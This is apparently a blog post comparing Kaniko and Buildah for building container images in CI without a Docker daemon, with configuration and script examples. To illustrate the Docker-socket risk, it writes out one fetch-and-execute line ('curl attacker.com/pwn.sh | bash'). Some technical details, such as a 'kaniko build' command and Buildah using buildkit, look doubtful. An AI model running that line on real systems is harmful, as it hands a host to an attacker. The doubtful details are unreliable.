Skip to content
Go back

Kaniko & Buildah: Daemonless Container Builds

By SumGuy 10 min read
Kaniko & Buildah: Daemonless Container Builds

Mounting the Docker Socket in CI Was Always Sketchy

You know that feeling when you solve a problem but immediately realize you’ve created a worse one? That’s Docker-in-Docker (DinD) in CI.

The naive approach: spin up a CI runner, mount /var/run/docker.sock from the host into the container, run docker build. Sounds fine until you realize you’ve just handed your build job root access on the host machine. Someone runs a malicious Dockerfile, and they’re one RUN command away from owning your entire runner, your git history, your deploy keys, your CI secrets — everything. It’s like hiring a contractor to fix your roof and giving them a key to your house, your car, and your bank account.

The problem goes deeper: you’re running a full Docker daemon inside your CI orchestrator (Kubernetes, GitHub Actions, whatever). That’s a lot of baggage. You’re burning CPU and memory on something that’s fundamentally a black box to your build system, and you’ve got no introspection into what’s happening underneath.

Enter Kaniko and Buildah — two tools that say “you don’t need a daemon at all.” They read your Dockerfile (or equivalent), parse it, and build the image layer by layer without ever spinning up dockerd. Different architectures, different tradeoffs, same goal: daemonless builds.

Here’s the thing: they’re not interchangeable, and picking the wrong one will waste your afternoon. Let’s break down each.


Kaniko: Google’s Kubernetes-Native Image Builder

Kaniko (image builder, Japanese) is Google’s answer to the question “what if we just built the Dockerfile ourselves, without a daemon?”

It’s a container image that runs inside your Kubernetes pod (or anywhere, really, but it’s built for K8s). You mount your source code, give it your Dockerfile, point it at a registry, and it goes to work. No daemon. No socket. No root privileges on the host.

How Kaniko Works

Kaniko executes each instruction in your Dockerfile:

  1. Reads the FROM base image from a registry
  2. Executes RUN/COPY/ADD/ENV/etc. instructions in a container sandbox (using runc or equivalent)
  3. Snaps a layer after each instruction
  4. Pushes the final image directly to a registry (no local Docker daemon needed)

The key insight: Kaniko doesn’t need to store images locally. It builds and pushes in one motion. Your CI pod never accumulates disk bloat from intermediate images.

Kaniko in Practice

You typically run it as a container in your CI pipeline:

apiVersion: batch/v1
kind: Job
metadata:
name: build-my-app
spec:
template:
spec:
serviceAccountName: kaniko-builder
containers:
- name: kaniko
image: gcr.io/kaniko-project/executor:latest
args:
- --dockerfile=Dockerfile
- --context=git://github.com/user/repo.git#main
- --destination=myregistry.azurecr.io/myapp:latest
- --cache=true
- --cache-repo=myregistry.azurecr.io/cache
volumeMounts:
- name: docker-config
mountPath: /kaniko/.docker
volumes:
- name: docker-config
secret:
secretName: kaniko-docker-config
items:
- key: config.json
path: config.json
restartPolicy: Never
backoffLimit: 1

Notice: no privileged container, no Docker socket. Kaniko reads the registry auth from a secret, builds, and pushes. Done.

Kaniko Strengths

Kaniko Gotchas


Buildah: Red Hat’s Scriptable Image Builder

Buildah takes a different angle. Instead of parsing and executing Dockerfiles like Kaniko, Buildah is a command-line tool that lets you script image construction. It pairs naturally with Podman (Red Hat’s daemonless Docker alternative).

Think of Buildah as “image building with shell scripts.” Instead of writing a Dockerfile, you write bash:

#!/bin/bash
set -e
# Start from a base image
ctr=$(buildah from alpine:latest)
# Add a layer
buildah run $ctr apk add --no-cache bash curl
# Copy files
buildah copy $ctr ./app /app
buildah copy $ctr ./config /etc/myapp
# Set metadata
buildah config --entrypoint '["/app/entrypoint.sh"]' $ctr
buildah config --label version="1.0" $ctr
# Commit the image
buildah commit $ctr myapp:latest

That’s Buildah. You get a container handle ($ctr), you manipulate it like clay, you commit it to an image.

Buildah in CI

In Gitea Actions or Woodpecker CI:

steps:
build:
image: alpine:latest
commands:
- apk add --no-cache buildah
- |
ctr=$(buildah from alpine:latest)
buildah run $ctr apk add --no-cache bash curl
buildah copy $ctr ./app /app
buildah config --workingdir /app $ctr
buildah commit $ctr ${{ registry }}/myapp:${{ branch }}
buildah push localhost/myapp:${{ branch }} docker://${{ registry }}/myapp:${{ branch }}

Buildah runs rootless (if your CI system supports it). No daemon. No Docker socket.

Buildah Strengths

Buildah Gotchas


Side-by-Side: When Each Wins

FeatureKanikoBuildah
SimplicityDockerfile “just works”Requires shell scripting
CI integrationK8s-native, cleanWorks anywhere (POSIX shell required)
Cache speedRegistry-based, distributedLocal storage, faster cold builds
RootlessYes, defaultYes, default
DebuggingLimited (sandbox)Full shell access to layers
EcosystemLarge (Google, CNCF)Growing (Red Hat, Podman community)
Dockerfile compatibility~95% (edge cases fail)99%+ (true Dockerfile parser via buildkit)
OutputRegistry onlyLocal or registry

Real-World Decision Tree

Use Kaniko if:

Use Buildah if:


Caching: The Invisible Speedup

Both tools struggle with one thing: layer caching across builds.

Kaniko’s Registry Cache

Terminal window
kaniko build \
--dockerfile=Dockerfile \
--context=. \
--destination=myregistry.io/myapp:latest \
--cache=true \
--cache-repo=myregistry.io/myapp-cache

Kaniko pushes intermediate layers to myapp-cache as throwaway images. Next build, it pulls those layers first. Fast if you have stable base images and slow changes in later layers. Slower if your FROM image or early RUN commands change.

Buildah’s Local Storage

Buildah relies on your container storage driver’s layer cache. Consecutive builds of the same image reuse layers from $HOME/.local/share/containers/. Super fast locally. Terrible in ephemeral CI runners (no persistence between jobs).

Solution: Use a persistent volume in K8s, or accept slower builds in ephemeral runners.


Multi-Architecture Builds (ARM64, AMD64, etc.)

Both tools support multi-arch, but the approach differs.

Kaniko: You run separate jobs (one per architecture) and push to the same registry tag with manifests. It’s manual orchestration in your CI config.

build-amd64:
image: gcr.io/kaniko-project/executor:latest
args:
- --destination=myregistry.io/myapp:latest
- --dockerfile=Dockerfile.amd64
build-arm64:
image: gcr.io/kaniko-project/executor:latest
args:
- --destination=myregistry.io/myapp:latest
- --dockerfile=Dockerfile.arm64
push-manifest:
# Combine both images into a single manifest tag

Buildah + Podman: Use buildah build on the target architecture and podman manifest to combine:

Terminal window
buildah build --arch arm64 -t myapp:arm64 .
buildah build --arch amd64 -t myapp:amd64 .
podman manifest create myapp
podman manifest add myapp myapp:arm64
podman manifest add myapp myapp:amd64
podman manifest push myapp docker://myregistry.io/myapp:latest

Podman’s manifest handling is cleaner if you’re already in the Podman ecosystem.


Registry Auth & Secrets

Both tools need credentials to push to private registries.

Kaniko: Reads docker config.json from a mounted secret:

Terminal window
kubectl create secret generic kaniko-docker-config \
--from-file=config.json=$HOME/.docker/config.json

Mount it in the pod, Kaniko reads it. Clean.

Buildah: Uses buildah login or podman login:

Terminal window
podman login -u myuser -p mytoken myregistry.io

Credentials live in $HOME/.docker/config.json or $HOME/.local/share/containers/auth.json. Same concept, different path.


The DinD Horror Show (Why You Left It Behind)

Just to drive the point home: why daemonless is worth the complexity.

Running DinD in CI means:

  1. Your CI runner spins up a Docker daemon (dockerd) inside a container.
  2. That daemon has root inside the container. That’s fine (usually).
  3. But your build job mounts /var/run/docker.sock into the container.
  4. Now your build job has direct socket access to the host’s Docker daemon (if running on a VM or bare metal).
  5. A malicious Dockerfile does RUN curl attacker.com/pwn.sh | bash, and suddenly they own the host.

Kaniko and Buildah sidestep this entirely. They’re not daemons. They’re user-land tools that parse and execute instructions. No socket. No root (usually). Boring, safe, and boring is good in infra.


When to Use Which

Kaniko for:

Buildah for:

Neither? If you’re running a small, self-hosted registry and you trust your CI environment, a lightweight Kaniko sidecar beats DinD every time. If you’re scripting image builds for a platform or deployment automation, Buildah’s flexibility shines.

The old DinD approach was born from “we need to build container images, and Docker is what we know.” Kaniko and Buildah ask a better question: “what if we just built images without dragging a daemon along?” The answer is faster, simpler, and significantly less likely to get you woken up at 2 AM by a security incident.

Pick your tool, stop mounting that socket, and sleep better.


Share this post on:

Send a Webmention

Written about this post on your own site? Send a webmention and it'll show up above once verified.


Next Post
iperf3 + nload: Network Diagnosis

Discussion

Powered by Garrul . Sign in with GitHub or Google, or post anonymously.

Related Posts